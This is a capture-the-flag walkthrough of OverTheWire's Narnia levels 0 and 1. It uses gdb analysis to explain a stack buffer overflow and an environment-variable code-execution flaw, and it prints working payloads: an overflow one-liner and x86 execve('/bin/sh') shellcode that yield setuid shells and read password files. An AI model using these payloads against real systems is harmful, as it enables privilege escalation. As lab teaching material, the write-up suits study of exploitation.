Level 0
As per Narnia’s introduction page, we first ssh into the box (ssh narnia0@narnia.labs.overthewire.org -p 2226
). The challenges are located in /narnia
. Let’s take a look at the first one.
narnia0@narnia:~$ pwd
/home/narnia0
narnia0@narnia:~$ cd /narnia
narnia0@narnia:/narnia$ ls
narnia0 narnia1 narnia2 narnia3 narnia4 narnia5 narnia6 narnia7 narnia8
narnia0.c narnia1.c narnia2.c narnia3.c narnia4.c narnia5.c narnia6.c narnia7.c narnia8.c
This is the contents of the one we’re interested in:
#include <stdio.h>
#include <stdlib.h>
int main(){
long val=0x41414141;
char buf[20];
printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n");
printf("Here is your chance: ");
scanf("%24s",&buf);
printf("buf: %s\n",buf);
printf("val: 0x%08x\n",val);
if(val==0xdeadbeef)
system("/bin/sh");
else {
printf("WAY OFF!!!!\n");
exit(1);
}
return 0;
}
If we somehow get val
to be equal to 0xdeadbeef
, the programm will execute a /bin/sh
. Because this program as the sticky bit set and is owned by narnia1
, this would escalate our privileges:
narnia0@narnia:/narnia$ ls -l narnia0
-r-sr-x--- 1 narnia1 narnia0 7460 May 23 13:20 narnia0
From the source code we see that buf
is located after val
. This means that on the stack, overflowing buf
(which is only 20 characters long) will cause it to start overriding val
. Let’s examine this with gdb
:
narnia0@narnia:/narnia$ gdb -q narnia0
Reading symbols from narnia0...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) dis main
warning: bad breakpoint number at or near 'main'
(gdb) break main
Breakpoint 1 at 0x8048500
(gdb) disass main
Dump of assembler code for function main:
0x080484fd <+0>: push ebp
0x080484fe <+1>: mov ebp,esp
0x08048500 <+3>: and esp,0xfffffff0
0x08048503 <+6>: sub esp,0x30
0x08048506 <+9>: mov DWORD PTR [esp+0x2c],0x41414141
0x0804850e <+17>: mov DWORD PTR [esp],0x8048630
0x08048515 <+24>: call 0x80483a0 <puts@plt>
0x0804851a <+29>: mov DWORD PTR [esp],0x8048663
0x08048521 <+36>: call 0x8048390 <printf@plt>
0x08048526 <+41>: lea eax,[esp+0x18]
0x0804852a <+45>: mov DWORD PTR [esp+0x4],eax
0x0804852e <+49>: mov DWORD PTR [esp],0x8048679
0x08048535 <+56>: call 0x80483f0 <__isoc99_scanf@plt>
0x0804853a <+61>: lea eax,[esp+0x18]
0x0804853e <+65>: mov DWORD PTR [esp+0x4],eax
0x08048542 <+69>: mov DWORD PTR [esp],0x804867e
0x08048549 <+76>: call 0x8048390 <printf@plt>
0x0804854e <+81>: mov eax,DWORD PTR [esp+0x2c]
0x08048552 <+85>: mov DWORD PTR [esp+0x4],eax
0x08048556 <+89>: mov DWORD PTR [esp],0x8048687
0x0804855d <+96>: call 0x8048390 <printf@plt>
0x08048562 <+101>: cmp DWORD PTR [esp+0x2c],0xdeadbeef
0x0804856a <+109>: jne 0x804857a <main+125>
0x0804856c <+111>: mov DWORD PTR [esp],0x8048694
0x08048573 <+118>: call 0x80483b0 <system@plt>
0x08048578 <+123>: jmp 0x8048592 <main+149>
0x0804857a <+125>: mov DWORD PTR [esp],0x804869c
0x08048581 <+132>: call 0x80483a0 <puts@plt>
0x08048586 <+137>: mov DWORD PTR [esp],0x1
0x0804858d <+144>: call 0x80483d0 <exit@plt>
0x08048592 <+149>: mov eax,0x0
0x08048597 <+154>: leave
0x08048598 <+155>: ret
End of assembler dump.
(gdb) break *0x0804853a
Breakpoint 2 at 0x804853a
(gdb) run
Starting program: /narnia/narnia0
Breakpoint 1, 0x08048500 in main ()
(gdb) n
Single stepping until exit from function main,
which has no line number information.
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: DDDDDDDDDDDDDDDDDDD
Breakpoint 2, 0x0804853a in main ()
(gdb) x/16xw $esp
0xffffd710: 0x08048679 0xffffd728 0x0804a000 0x080485f2
0xffffd720: 0x00000001 0xffffd7e4 0x44444444 0x44444444
0xffffd730: 0x44444444 0x44444444 0x00444444 0x41414141
0xffffd740: 0x080485a0 0x00000000 0x00000000 0xf7e3bad3
(gdb) x/s 0xffffd720+8
0xffffd728: 'D' <repeats 19 times>
Couple of things first. The binary wasn’t compiled with debug symbols so gdb
is running blind (hence the assembly). We break on entering main
but also on 0x0804853a
which is right after the call to scanf
(which would have requested user input and copied it on the stack.
We see that our 19 D’s were successfully copied at address 0xffffd720+8
(each block is 4 bytes long). Note the null byte - 0x00444444
. In C strings, or character arrays, are always terminated by a null byte. If we had written 20 D’s, we would have overflown.
As we’ll see that’s exactly what we want to do. We see that 0xdeadbeef
is being compared with esp+0x2c
(cmp DWORD PTR [esp+0x2c],0xdeadbeef
). Let’s see what is at this address:
(gdb) p/x $esp+0x2c
$1 = 0xffffd73c
(gdb) x/wx $1
0xffffd73c: 0x41414141
This should be relatively straightforward:
narnia0@narnia:/narnia$ ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: AAAAAAAAAAAAAAAAAAAA
buf: AAAAAAAAAAAAAAAAAAAA
val: 0x41414100
WAY OFF!!!!
Now it turns out the box has Python installed. So let’s use that:
narnia0@narnia:/narnia$ python --version
Python 2.7.6
narnia0@narnia:/narnia$ python -c "print 'A'*20 + '\xad\xde'" | ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: AAAAAAAAAAAAAAAAAAAA��
val: 0x4100dead
WAY OFF!!!!
Note the byte order (we’re on a little indian machine). From there it’s easy to extrapolate:
narnia0@narnia:/narnia$ python -c "print 'A'*20 + '\xef\xbe\xad\xde'" | ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: AAAAAAAAAAAAAAAAAAAAᆳ�
val: 0xdeadbeef
narnia0@narnia:/narnia$ whoami
narnia0
Mmm. So we managed to overwrite val
but ‘nothing’ happened. It turns out the pipe (|
) sends EOF once done, which closes the shell (system
does not spawn a separate process). We need to find a way to hold it open whilst accepting user input. cat
to the rescue:
narnia0@narnia:/narnia$ (python -c "print 'A'*20 + '\xef\xbe\xad\xde'";cat) | ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: AAAAAAAAAAAAAAAAAAAAᆳ�
val: 0xdeadbeef
whoami
narnia1
cat /etc/narnia_pass/narnia1
*** password ***
Done!
Level 1
Along the same lines as the one above, this is the source code given to us:
#include <stdio.h>
int main(){
int (*ret)();
if(getenv("EGG")==NULL){
printf("Give me something to execute at the env-variable EGG\n");
exit(1);
}
printf("Trying to execute EGG!\n");
ret = getenv("EGG");
ret();
return 0;
}
The aim is to store some special code (shellcode) into EGG
which, when executed, will cause the program to give us a shell with escalated privileges.
Let’s take this through gdb
for a better understanding:
narnia1@narnia:/narnia$ export EGG=$(printf '\x44\x44\x44\x44')
narnia1@narnia:/narnia$ gdb -q narnia1
Reading symbols from narnia1...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) disass main
Dump of assembler code for function main:
0x0804847d <+0>: push ebp
0x0804847e <+1>: mov ebp,esp
0x08048480 <+3>: and esp,0xfffffff0
0x08048483 <+6>: sub esp,0x20
0x08048486 <+9>: mov DWORD PTR [esp],0x8048570
0x0804848d <+16>: call 0x8048330 <getenv@plt>
0x08048492 <+21>: test eax,eax
0x08048494 <+23>: jne 0x80484ae <main+49>
0x08048496 <+25>: mov DWORD PTR [esp],0x8048574
0x0804849d <+32>: call 0x8048340 <puts@plt>
0x080484a2 <+37>: mov DWORD PTR [esp],0x1
0x080484a9 <+44>: call 0x8048360 <exit@plt>
0x080484ae <+49>: mov DWORD PTR [esp],0x80485a9
0x080484b5 <+56>: call 0x8048340 <puts@plt>
0x080484ba <+61>: mov DWORD PTR [esp],0x8048570
0x080484c1 <+68>: call 0x8048330 <getenv@plt>
0x080484c6 <+73>: mov DWORD PTR [esp+0x1c],eax
0x080484ca <+77>: mov eax,DWORD PTR [esp+0x1c]
0x080484ce <+81>: call eax
0x080484d0 <+83>: mov eax,0x0
0x080484d5 <+88>: leave
0x080484d6 <+89>: ret
End of assembler dump.
(gdb) break* 0x080484ca
Breakpoint 1 at 0x80484ca
(gdb) r
Starting program: /narnia/narnia1
Trying to execute EGG!
Breakpoint 1, 0x080484ca in main ()
(gdb) p/x $eax
$1 = 0xffffd958
(gdb) p/x *$eax
$2 = 0x44444444
We first start by setting EGG
to something we can easily recognise. The program loads the address of our environment variable (or more accurately the address of the contents) into eax
. If we peak into what this address contains we see our payload. The next instruction (call eax
) essentially invokes our payload. Given it doesn’t represent anything right now it won’t do much so let’s fix that.
I so happen to have some shellcode lying around. Writing shellcode is beyond the scope of this post though.
Let’s pop that into EGG
and run the program again.
narnia1@narnia:/narnia$ export EGG=$(printf "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89\xe1\xcd\x80")
narnia1@narnia:/narnia$ echo $EGG
1▒1ə▒▒̀j
XQh//shh/bin▒▒▒▒
narnia1@narnia:/narnia$ ./narnia1
Trying to execute EGG!
$ whoami
narnia2
$ cat /etc/narnia_pass/narnia2
*** password ***
Easy peasy.